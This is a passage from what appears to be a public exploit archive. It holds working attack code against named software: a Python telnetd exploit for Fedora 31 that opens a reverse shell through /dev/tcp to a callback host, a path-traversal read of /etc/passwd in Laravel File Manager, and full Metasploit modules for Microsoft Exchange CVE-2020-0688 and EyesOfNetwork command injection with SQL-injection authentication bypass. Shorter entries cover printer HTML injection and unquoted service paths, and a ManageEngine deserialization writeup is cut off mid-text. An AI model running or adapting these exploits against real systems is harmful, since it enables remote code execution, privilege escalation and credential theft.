self.netobuf_fill(len(v)) self.trigger(len(v), v + struct.pack('<Q', stub), b"A" * 8) self.reset_and_sync() s = b"" s += self._fill_area('state_rcsid', 'loginprg', 8) s += rcsid s += self._fill_area('ptyslavefd', 'state_rcsid', len(rcsid)) s += struct.pack("<I", 5) s += self._fill_area('environ', 'ptyslavefd', 4) s += struct.pack("<Q", envp) s += self._fill_area('LastArgv', 'environ', 8) s += struct.pack("<Q", argv) * 2 s += self._fill_area('remote_host_name', 'LastArgv', 16) s += b"-c\0" self.sd.sendall(s) self.tx_flush() # We need to finish `getterminaltype' in telnetd and ensure `startslave' is # called. self.sd.sendall(self.wont(self.TELOPT_TTYPE)) self.sd.sendall(self.wont(self.TELOPT_TSPEED)) self.sd.sendall(self.wont(self.TELOPT_XDISPLOC)) self.sd.sendall(self.wont(self.TELOPT_ENVIRON)) banner = """ H4sICBThWF4CA2JsYQC1W0ly4zAMvPsLuegJ4i5VnjJv0P+vU44TRwTBbsBy5jBVikRiaywE6GX5 s3+3+38f/9bj41/ePstnLMfz3f3PbP1kqW3xN32xx/kxxe55246Rbum/+dkCcKnx5mPi9BjSfTPJ pPwAva8VCmBg3qzQgdYaD0FD/US+J/rvITC+PP+lnkQCQOyoL4oMDhFUpM5F0Fee7UCUHlYEoAf/ 4Puw7t2zasMOcD2BAvFbomqkh3h2rxCvi+Ap5hnG53s8vB1sKj0JCzriRIrQ85jisSw+PY6hyrw8 SDfC+g3toCYyqKenmA4VBrY4WC681Uif/OtGAnTIxwTBkxD8WEF3nEVfsDCP+5yedwvjzKx71nnt 0BGJvDlTvnsDNSUOIgv+arD/c0GwkPqKaZIaUVxKDlM+Q8Pmsb8OSsF6FFYM64plS0XZAIYESSJm icYGkRMVoC2Mh8T3UOKUriTGUBhg2siCJgyZhZIz9ldqgnE53p6QHwlQhpuoxuiGOK1kup6I9A6Y ZlHvsA1iVYWwHSlUiaXQDSbfpOjAwN/MRTamLwLywQSBuEnZIEPMwnU9nAY/FnvSrOtrPolJDjyl zRMJNBG75yCeN/x9ViNt5wTBHakABFmkrSukxqL+jFvdI7MTX5l7n0s3UrjeWwp1x4DwOvFOXAuM 6IyGuG4hqy0ByqDCp6hsIlRQNpcB6qr4ave8C4MFuWDDJijOeCVKsbKxYELrmDgmoUuY/hHh6WCe 2FdJFUPzrSXgYyxKp2Hyy4yW8gsxgFRGqhr0Nc6A9lzmwIxUeuXLmc8g4SW+Vpq/XCVMocGJHixk kbha4l3fRXAcG9WzkS+I7DQDn+XZ8MmEBojsdJC8XaovVH15zkqWJLEYeobZG9sj7nIZgiVEfsB+ l7Kr7JRlZTtcdUTIyVdMezN5oamjHZPessEpI5yCONsYqJ0lP2hK/csrOJQyi1GRvqPPF1+OqCbB /5DL2fKhoUUsGH2kYZRLUGWsS3mSk6nPoDYeNZLhFEpTIiwJDaYaCnGYw3/i5c3Y6obkZx1z1Kim 3e4Yvc10wyTAPcn63hf1z2c6A63tGJOu2B7sCvbhUWcoQwIp3NLB2/CDdYX1Q8MOOsHQM2HfgIgi 1H4NP9H086s3hz7AGv362oRkRIONaA3eoW7h0kSzzFSFNkbxBzLS9pro8AMJQambmJQNuyKkDXIu cEJOyyapKc8UQOUGMNOEL1U5ApEDqnp4Ly/QkCanBDasIXBl3ZeHRkbDvTEZvbImDCk4Zr2AhXYM NNZwZzvj48YgkH5GGVoLmfNGqGIlu2bhxVmNjZ0DRzdfFo+DqyYyma3kfEV6WymzQbbMuJLikOej peaYYdpu5l+UGAas3/Npxz97HUaPuLh4KsWHgCivEkn6gbbCE6QY9oIRX5jAZBgUZphTb2O+aDOs ddnFkPMp5vRSBfoZC9tJqCnUazDZyQRutd1mmtyJfY/rlM3XldWqezpXdDlnYQcMZ0MqsNwzva96 e1nJAU/nh4s2qzPByQNHcKaw3dXuqNUx/q7kElF2shosB/Dr1nMNLoNvcpFhVBGvy364elss1JeE mQtDebG7+r/tyljmXBlfsh/t+OIgp4ymcFDjUZL1SNCkw5s5hly5MvrRnZo0TF4zmqOeUy4obBX3 N/i0CGV+0k6SJ2SG+uFHBcPYI66H/bcUt9cdY/KKJmXS1IvBcMTQtLq8cg3sgkLUG+omTBLIRF8i k/gVorFb728qz/2e2FyRikg5j93vkct9S8/wo7A/YCVl28Fg+RvO7J1Fw6+73sqJ7Td6L1Oz/vrw r/a+S/cfKpbzJTo5AAA= """ parser = argparse.ArgumentParser(description="BraveStarr -- Remote Fedora 31 telnetd exploit") parser.add_argument('-H', '--hostname', dest='hostname', required=True, help='Target IP address or hostname') parser.add_argument('-p', '--port', dest='port', type=int, default=23, help='port number') parser.add_argument('-t', '--timeout', dest='timeout', type=int, default=10, help='socket timeout') method_parser = parser.add_subparsers(dest='method', help='Exploitation method') method_parser.required = True method_infoleak_parser = method_parser.add_parser('leak', help='Leaks memory of the remote process') method_cmd_parser = method_parser.add_parser('command', help='Executes a blind command on the remote') method_cmd_parser.add_argument('command', help='Command to execute') method_shell_parser = method_parser.add_parser('shell', help='Spawns a shell on the remote and connects back') method_shell_parser.add_argument('-c', '--callback', dest='callback', required=True, help='Host to connect back a shell to') args = parser.parse_args() for line in gzip.decompress(base64.b64decode(banner)).split(b"\n"): sys.stdout.buffer.write(line + b"\n") sys.stdout.buffer.flush() time.sleep(0.1) t = BraveStarr(args.hostname, port=args.port, timeout=args.timeout, callback_host=getattr(args, 'callback', None)) print(f"\u26e4 Connecting to {args.hostname}:{args.port}") t.connect() # For the `shell' method, we set up a listening socket to receive the callback # shell on. if args.method == 'shell': sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sd.bind(('0.0.0.0', 12345)) sd.listen(1) s = t.infoleak() t.infoleak_analyze(s) print("\n\u26e4 Leaked variables") print(f" netip : {t.values['netip']:#016x}") print(f" pfrontp: {t.values['pfrontp']:#016x}") print(f" neturg : {t.values['neturg']:#016x}") print(f" net : {t.values['net']}") print("\n\u26e4 Resolved addresses") adjustment = len(max(t.netibuf_deltas, key=len)) for k, v in t.netibuf_deltas.items(): print(f" {k:<{adjustment}}: {t.addresses[k]:#016x}") if args.method == 'leak': sys.exit(0) t.reset_and_sync() if args.method == 'shell': t.exploit(b"/bin/bash -i >& /dev/tcp/%s/12345 0>&1" % t.chost) print("\n\u26e4 Waiting for connect back shell") if args.method == 'shell': import telnetlib tclient = telnetlib.Telnet() tclient.sock = sd.accept()[0] tclient.interact() sd.close() elif args.method == 'command': print(f'\n\u26e4 Executing command "{args.command}"') t.exploit(bytes(args.command, 'ascii'))
  17. # Exploit Title: UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read # Google Dork: inurl:"laravel-filemanager?type=Files" -site:github.com -site:github.io # Date: 2020-02-04 # Exploit Author: NgoAnhDuc # Vendor Homepage: https://github.com/UniSharp/laravel-filemanager # Software Link: https://github.com/UniSharp/laravel-filemanager # Version: v2.0.0-alpha8 & v2.0.0 # Tested on: v2.0.0-alpha8 & v2.0.0 # CVE : N/A PoC: http://localhost/laravel-filemanager/download?working_dir=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F&type=&file=passwd
  18. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'bindata' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27' VALIDATION_KEY = "\xcb\x27\x21\xab\xda\xf8\xe9\xdc\x51\x6d\x62\x1d\x8b\x8b\xf1\x3a\x2c\x9e\x86\x89\xa2\x53\x03\xbf" def initialize(info = {}) super(update_info(info, 'Name' => 'Exchange Control Panel Viewstate Deserialization', 'Description' => %q{ This module exploits a .NET serialization vulnerability in the Exchange Control Panel (ECP) web page. The vulnerability is due to Microsoft Exchange Server not randomizing the keys on a per-installation basis resulting in them using the same validationKey and decryptionKey values. With knowledge of these, values an attacker can craft a special viewstate to cause an OS command to be executed by NT_AUTHORITY\SYSTEM using .NET deserialization. }, 'Author' => 'Spencer McIntyre', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2020-0688'], ['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'], ], 'Platform' => 'win', 'Targets' => [ [ 'Windows (x86)', { 'Arch' => ARCH_X86 } ], [ 'Windows (x64)', { 'Arch' => ARCH_X64 } ], [ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ] ], 'DefaultOptions' => { 'SSL' => true }, 'DefaultTarget' => 1, 'DisclosureDate' => '2020-02-11', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], 'Reliability' => [ REPEATABLE_SESSION, ], } )) register_options([ Opt::RPORT(443), OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]), OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]) ]) register_advanced_options([ OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]), ]) end def check state = get_request_setup viewstate = state[:viewstate] return CheckCode::Unknown if viewstate.nil? viewstate = Rex::Text.decode_base64(viewstate) body = viewstate[0...-20] signature = viewstate[-20..-1] unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature return CheckCode::Safe end # we've validated the signature matches based on the data we have and thus # proven that we are capable of signing a viewstate ourselves CheckCode::Vulnerable end def generate_viewstate(generator, session_id, cmd) viewstate = ::Msf::Util::DotNetDeserialization.generate(cmd) signature = generate_viewstate_signature(generator, session_id, viewstate) Rex::Text.encode_base64(viewstate + signature) end def generate_viewstate_signature(generator, session_id, viewstate) mac_key_bytes = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>') mac_key_bytes << Rex::Text.to_unicode(session_id) OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes) end def exploit state = get_request_setup # the major limit is the max length of a GET request, the command will be # XML escaped and then base64 encoded which both increase the size if target.arch.first == ARCH_CMD execute_command(payload.encoded, opts={state: state}) else cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state}) end end def execute_command(cmd, opts) state = opts[:state] viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd) 5.times do |iteration| # this request *must* be a GET request, can't use POST to use a larger viewstate send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'), 'cookie' => state[:cookies].join(''), 'agent' => state[:user_agent], 'vars_get' => { '__VIEWSTATE' => viewstate, '__VIEWSTATEGENERATOR' => state[:viewstate_generator] } }) break rescue Rex::ConnectionError, Errno::ECONNRESET => e vprint_warning('Encountered a connection error while sending the command, sleeping before retrying') sleep iteration end end def get_request_setup # need to use a newer default user-agent than what Metasploit currently provides # see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43' res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'), 'method' => 'POST', 'agent' => user_agent, 'vars_post' => { 'password' => datastore['PASSWORD'], 'flags' => '4', 'destination' => full_uri(normalize_uri(target_uri.path, 'owa')), 'username' => datastore['USERNAME'] } }) fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil? cookies = [res.get_cookies] res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'), 'cookie' => res.get_cookies, 'agent' => user_agent }) fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200 cookies << res.get_cookies viewstate_generator = res.body.scan(/id="__VIEWSTATEGENERATOR"\s+value="([a-fA-F0-9]{8})"/).flatten[0] if viewstate_generator.nil? print_warning("Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}") viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR else vprint_status("Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}") end viewstate = res.body.scan(/id="__VIEWSTATE"\s+value="([a-zA-Z0-9\+\/]+={0,2})"/).flatten[0] if viewstate.nil? vprint_warning('Failed to find the __VIEWSTATE value') end session_id = res.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0] if session_id.nil? fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies') end vprint_status("Recovered the ASP.NET_SessionID: #{session_id}") {user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id} end end
  19. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'EyesOfNetwork AutoDiscovery Target Command Execution', 'Description' => %q{ This module exploits multiple vulnerabilities in EyesOfNetwork version 5.3 and prior in order to execute arbitrary commands as root. This module takes advantage of a command injection vulnerability in the `target` parameter of the AutoDiscovery functionality within the EON web interface in order to write an Nmap NSE script containing the payload to disk. It then starts an Nmap scan to activate the payload. This results in privilege escalation because the`apache` user can execute Nmap as root. Valid credentials for a user with administrative privileges are required. However, this module can bypass authentication via two methods, i.e. by generating an API access token based on a hardcoded key, and via SQLI. This module has been successfully tested on EyesOfNetwork 5.3 with API version 2.4.2. }, 'License' => MSF_LICENSE, 'Author' => [ 'Clément Billac', # @h4knet - Discovery and exploit 'bcoles', # Metasploit 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-8654'], # authenticated rce ['CVE', '2020-8655'], # nmap privesc ['CVE', '2020-8656'], # sqli auth bypass ['CVE', '2020-8657'], # hardcoded API key ['EDB', '48025'] ], 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Targets' => [['Auto', { }]], 'Privileged' => true, 'DisclosureDate' => '2020-02-06', 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, #HTTPS is required for the module to work 'PAYLOAD' => 'generic/shell_reverse_tcp' }, 'DefaultTarget' => 0)) register_options [ OptString.new('TARGETURI', [true, 'Base path to EyesOfNetwork', '/']), OptString.new('SERVER_ADDR', [true, 'EyesOfNetwork server IP address (if different from RHOST)', '']), ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]) ] end def nmap_path '/usr/bin/nmap' end def server_addr datastore['SERVER_ADDR'].blank? ? rhost : datastore['SERVER_ADDR'] end def check vprint_status("Running check") res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey') unless res return CheckCode::Unknown('Connection failed') end unless res.code == 401 && res.body.include?('api_version') return CheckCode::Safe('Target is not an EyesOfNetwork application.') end version = res.get_json_document()['api_version'] rescue '' if version.to_s.eql? '' return CheckCode::Detected('Could not determine EyesOfNetwork version.') end version = Gem::Version.new version unless version <= Gem::Version.new('2.4.2') return CheckCode::Safe("Target is EyesOfNetwork with API version #{version}.") end CheckCode::Appears("Target is EyesOfNetwork with API version #{version}.") end def generate_api_key default_key = "€On@piK3Y" default_user_id = 1 key = Digest::MD5.hexdigest(default_key + default_user_id.to_s) Digest::SHA256.hexdigest(key + server_addr) end def sqli_to_api_key # Attempt to obtain the admin API key via SQL injection, using a fake password and its md5 encrypted hash fake_pass = Rex::Text::rand_text_alpha(10) fake_pass_md5 = Digest::MD5.hexdigest("#{fake_pass}") user_sqli = "' union select 1,'admin','#{fake_pass_md5}',0,0,1,1,8 or '" api_res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/eonapi/getApiKey"), 'method' => 'GET', 'vars_get' => { 'username' => user_sqli, 'password' => fake_pass } }) unless api_res print_error('Connection failed.') return end unless api_res.code == 200 && api_res.get_json_document.include?('EONAPI_KEY') print_error("SQL injection to obtain API key failed") return end api_res.get_json_document()['EONAPI_KEY'] end def create_eon_user(user, password) vprint_status("Creating user #{user} ...") vars_post = { user_name: user, user_group: "admins", user_password: password } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/eonapi/createEonUser'), 'ctype' => 'application/json', 'vars_get' => { 'apiKey' => @api_key, 'username' => @api_user }, 'data' => vars_post.to_json }) unless res print_warning("Failed to create user: Connection failed.") return end return res end def verify_api_key(res) return false unless res.code == 200 json_data = res.get_json_document json_res = json_data['result'] return false unless json_res && json_res['description'] json_res = json_res['description'] return true if json_res && json_res.include?('SUCCESS') return false end def delete_eon_user(user) vprint_status "Removing user #{user} ..." res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/eonapi/deleteEonUser'), 'ctype' => 'application/json', 'data' => { user_name: user }.to_json, 'vars_get' => { apiKey: @api_key, username: @api_user } }) unless res print_warning 'Removing user #{user} failed: Connection failed' return end res end def login(user, pass) vprint_status "Authenticating as #{user} ..." res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php'), 'vars_post' => { login: user, mdp: pass } }) unless res fail_with Failure::Unreachable, 'Connection failed' end unless res.code == 200 && res.body.include?('dashboard_view') fail_with Failure::NoAccess, 'Authentication failed' end print_good "Authenticated as user #{user}" @cookie = res.get_cookies if @cookie.empty? fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies' end res end def create_autodiscovery_job(cmd) vprint_status "Creating AutoDiscovery job: #{cmd}" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'), 'cookie' => @cookie, 'vars_post' => { 'request' => 'autodiscover', 'job_name' => 'Internal discovery', 'job_description' => 'Internal EON discovery procedure.', 'nmap_binary' => nmap_path, 'default_template' => '', 'target[]' => cmd } }) unless res fail_with Failure::Unreachable, 'Creating AutoDiscovery job failed: Connection failed' end unless res.body.include? 'Starting...' fail_with Failure::Unknown, 'Creating AutoDiscovery job failed: Job failed to start' end res end def delete_autodiscovery_job(job_id) vprint_status "Removing AutoDiscovery job #{job_id} ..." res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'), 'cookie' => @cookie, 'vars_get' => { id: job_id, delete: 1 } }) unless res print_warning "Removing AutoDiscovery job #{job_id} failed: Connection failed" return end res end def execute_command(cmd, opts = {}) res = create_autodiscovery_job ";#{cmd} #" return unless res job_id = res.body.scan(/autodiscovery.php\?id=([\d]+)/).flatten.first if job_id.empty? print_warning 'Could not retrieve AutoDiscovery job ID. Manual removal required.' return end delete_autodiscovery_job job_id end def cleanup super if @username delete_eon_user @username end end def exploit unless [CheckCode::Detected, CheckCode::Appears].include? check unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end @api_user = 'admin' @api_key = generate_api_key print_status "Using generated API key: #{@api_key}" @username = rand_text_alphanumeric(8..12) @password = rand_text_alphanumeric(8..12) create_res = create_eon_user @username, @password unless verify_api_key(create_res) @api_key = sqli_to_api_key fail_with Failure::NoAccess, 'Failed to obtain valid API key' unless @api_key print_status("Using API key obtained via SQL injection: #{@api_key}") sqli_verify = create_eon_user @username, @password fail_with Failure::NoAccess, 'Failed to obtain valid API with sqli' unless verify_api_key(sqli_verify) end admin_group_id = 1 login @username, @password unless @cookie.include? 'group_id=' @cookie << "; group_id=#{admin_group_id}" end nse = Rex::Text.encode_base64("local os=require \"os\" hostrule=function(host) os.execute(\"#{payload.encoded.gsub(/"/, '\"')}\") end action=function() end") nse_path = "/tmp/.#{rand_text_alphanumeric 8..12}" cmd = "echo #{nse} | base64 -d > #{nse_path};sudo #{nmap_path} localhost -sn -script #{nse_path};rm #{nse_path}" print_status "Sending payload (#{cmd.length} bytes) ..." execute_command cmd end end
  20. # Exploit Title: RICOH Aficio SP 5210SF Printer - 'entryNameIn' HTML Injection # Discovery by: Olga Villagran # Discovery Date: 2020-03-02 # Vendor Homepage: https://www.ricoh.com/ # Hardware Link: http://support.ricoh.com/bb/html/dr_ut_e/rc3/model/sp52s/sp52s.htm?lang=es # Product Version: RICOH Aficio SP 5210SF Printer # Vulnerability Type: Code Injection - HTML Injection # Steps to Produce the HTML Injection: #1.- HTTP POST Request 'adrsGetUser.cgi': POST /web/entry/en/address/adrsGetUser.cgi HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://xxx.xxx.xxx.xxx/web/entry/en/address/adrsList.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 402 Connection: close Cookie: risessionid=083527814813645; cookieOnOffChecker=on; wimsesid=121318357 Upgrade-Insecure-Requests: 1 mode=ADDUSER&pageSpecifiedIn=&pageNumberIn=1&searchSpecifyModeIn=&outputSpecifyModeIn=DEFAULT&entryIndexIn=&entryNameIn=&entryFilterIn=ALL_O&searchItemIn=SEARCH_INDEX_O&searchDataIn=&pages=&listCountIn=10&totalCount=8&offset=0&00001=ADRS_ENTRY_USER&00002=ADRS_ENTRY_USER&00003=ADRS_ENTRY_USER&00004=ADRS_ENTRY_USER&00007=ADRS_ENTRY_USER&00008=ADRS_ENTRY_USER&00010=ADRS_ENTRY_USER&00012=ADRS_ENTRY_USER #HTTP Response : HTTP/1.0 200 OK Date: Mon, 02 Mar 2020 22:22:44 GMT Server: Web-Server/3.0 Content-Type: text/html; charset=UTF-8 Expires: Mon, 02 Mar 2020 22:22:44 GMT Pragma: no-cache Cache-Control: no-cache Set-Cookie: cookieOnOffChecker=on; path=/ Connection: close #2.- HTTP POST Request 'adrsSetUser.cgi': POST /web/entry/en/address/adrsSetUser.cgi HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://xxx.xxx.xxx.xxx/web/entry/en/address/adrsGetUser.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 607 Connection: close Cookie: risessionid=083527814813645; cookieOnOffChecker=on; wimsesid=121318357 Upgrade-Insecure-Requests: 1 mode=ADDUSER&pageSpecifiedIn=&pageNumberIn=&searchSpecifyModeIn=&outputSpecifyModeIn=&inputSpecifyModeIn=WRITE&wayFrom=adrsGetUser.cgi%3FoutputSpecifyModeIn%3DSETTINGS&wayTo=adrsList.cgi%3FsearchSpecifyModeIn%3DNONE&isSelfPasswordEditMode=false&entryIndexIn=00005&entryNameIn=test&entryDisplayNameIn=test&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&userCodeIn=&smtpAuthAccountIn=AUTH_SYSTEM_O&folderAuthAccountIn=AUTH_SYSTEM_O&ldapAuthAccountIn=AUTH_SYSTEM_O&entryUseIn=ENTRYUSE_TO_O&faxDestIn=&mailAddressIn=&isCertificateExist=false&folderProtocolIn=SMB_O&folderPathNameIn= #HTTP Response : HTTP/1.0 200 OK Date: Mon, 02 Mar 2020 22:23:10 GMT Server: Web-Server/3.0 Content-Type: text/html; charset=UTF-8 Expires: Mon, 02 Mar 2020 22:23:10 GMT Pragma: no-cache Cache-Control: no-cache Set-Cookie: cookieOnOffChecker=on; path=/ Connection: close
  21. # Exploit Title: Iskysoft Application Framework Service 2.4.3.241 - 'IsAppService' Unquoted Service Path # Discovery by: Alejandro Reyes # Discovery Date: 2020-03-05 # Vendor Homepage: https://www.iskysoft.us # Software Link : https://www.iskysoft.us/lp/filmora-video-editor/?gclid=EAIaIQobChMIo-WL-Z6h5wIVwR0YCh3O7QYsEAAYAiAAEgJ_m_D_BwE # Tested Version: 2.4.3.241 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Home x64 # Step to discover Unquoted Service Path: C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr "Iskysoft" | findstr /i /v """ Iskysoft Application Framework Service IsAppService C:\Program Files (x86)\Iskysoft\IAF\2.4.3.241\IsAppService.exe Auto # Service info: C:\WINDOWS\system32>sc qc "IsAppService" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: IsAppService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files (x86)\Iskysoft\IAF\2.4.3.241\IsAppService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Iskysoft Application Framework Service DEPENDENCIES : RPCSS # Exploit: # A successful attempt would require the local user to be able to insert their code in the # system root path undetected by the OS or other security applications where it could # potentially be executed during application startup or reboot. If successful, the local # user's code would execute with the elevated privileges of the application.
  22. # Exploit Title: Deep Instinct Windows Agent 1.2.29.0 - 'DeepMgmtService' Unquoted Service Path # Discovery by: Oscar Flores # Discovery Date: 2020-03-05 # Vendor Homepage: https://www.deepinstinct.com/ # Software Links : https://www.deepinstinct.com/2019/05/22/hp-collaborates-with-deep-instinct-to-roll-out-ai-powered-malware-protection-for-next-generation-hp-elitebook-and-zbook-pcs/ # https://press.ext.hp.com/us/en/press-releases/2019/hp-elevates-premium-and-personalized-pc-experiences-for-leaders-and-creators.html # Tested Version: 1.2.29.0 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Pro 64 bits # Step to discover Unquoted Service Path: C:\>wmic service get displayname,pathname,name | findstr /i "deepmgmtservice" Deep Instinct Management Service DeepMgmtService C:\Program Files\HP Sure Sense\DeepMgmtService.exe # Service info: C:\>sc qc DeepMgmtService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: DeepMgmtService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\HP Sure Sense\DeepMgmtService.exe LOAD_ORDER_GROUP : FSFilter Anti-Virus TAG : 0 DISPLAY_NAME : Deep Instinct Management Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\> #Exploit: # A successful attempt would require the local user to be able to insert their code in the # system root path undetected by the OS or other security applications where it could # potentially be executed during application startup or reboot. If successful, the local # user's code would execute with the elevated privileges of the application.
  23. #!/usr/bin/python3 """ ManageEngine Desktop Central FileStorage getChartImage Deserialization of Untrusted Data Remote Code Execution Vulnerability Download: https://www.manageengine.com/products/desktop-central/download-free.html File ...: ManageEngine_DesktopCentral_64bit.exe SHA1 ...: 73ab5bb00f993685c711c0aed450444795d5b826 Found by: mr_me Date ...: 2019-12-12 Class ..: CWE-502 CVSS ...: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical) ## Summary: An unauthenticated attacker can reach a Deserialization of Untrusted Data vulnerability that can allow them to execute arbitrary code as SYSTEM/root. ## Vulnerability Analysis: In the web.xml file, we can see one of the default available servlets is the `CewolfServlet` servlet. ``` <servlet> <servlet-name>CewolfServlet</servlet-name> <servlet-class>de.laures.cewolf.CewolfRenderer</servlet-class> <init-param> <param-name>debug</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>overliburl</param-name> <param-value>/js/overlib.js</param-value> </init-param> <init-param> <param-name>storage</param-name> <param-value>de.laures.cewolf.storage.FileStorage</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> ... <servlet-mapping> <servlet-name>CewolfServlet</servlet-name> <url-pattern>/cewolf/*</url-pattern> </servlet-mapping> ``` This servlet, contains the following code: ``` protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { if (debugged) { logRequest(request); } addHeaders(response); if ((request.getParameter("state") != null) || (!request.getParameterNames().hasMoreElements())) { requestState(response); return; } int width = 400; int height = 400; boolean removeAfterRendering = false; if (request.getParameter("removeAfterRendering") != null) { removeAfterRendering = true; } if (request.getParameter("width") != null) { width = Integer.parseInt(request.getParameter("width")); } if (request.getParameter("height") != null) { height = Integer.parseInt(request.getParameter("height")); } if (!renderingEnabled) { renderNotEnabled(response, 400, 50); return; } if ((width > config.getMaxImageWidth()) || (height > config.getMaxImageHeight())) { renderImageTooLarge(response, 400, 50); return; } String imgKey = request.getParameter("img"); // 1 if (imgKey == null) { logAndRenderException(new ServletException("no 'img' parameter provided for Cewolf servlet."), response, width, height); return; } Storage storage = config.getStorage(); ChartImage chartImage = storage.getChartImage(imgKey, request); // 2 ``` At [1] the code sets the `imgKey` variable using the GET parameter `img`. Later at [2], the code then calls the `storage.getChartImage` method with the attacker supplied `img`. You maybe wondering what class the `storage` instance is. This was mapped as an initializing parameter to the servlet code in the web.xml file: ``` <init-param> <param-name>storage</param-name> <param-value>de.laures.cewolf.storage.FileStorage</param-value> </init-param> ``` ``` public class FileStorage implements Storage { static final long serialVersionUID = -6342203760851077577L; String basePath = null; List stored = new ArrayList(); private boolean deleteOnExit = false; //... public void init(ServletContext servletContext) throws CewolfException { basePath = servletContext.getRealPath("/"); Configuration config = Configuration.getInstance(servletContext); deleteOnExit = "true".equalsIgnoreCase("" + (String) config.getParameters().get("FileStorage.deleteOnExit")); servletContext.log("FileStorage initialized, deleteOnExit=" + 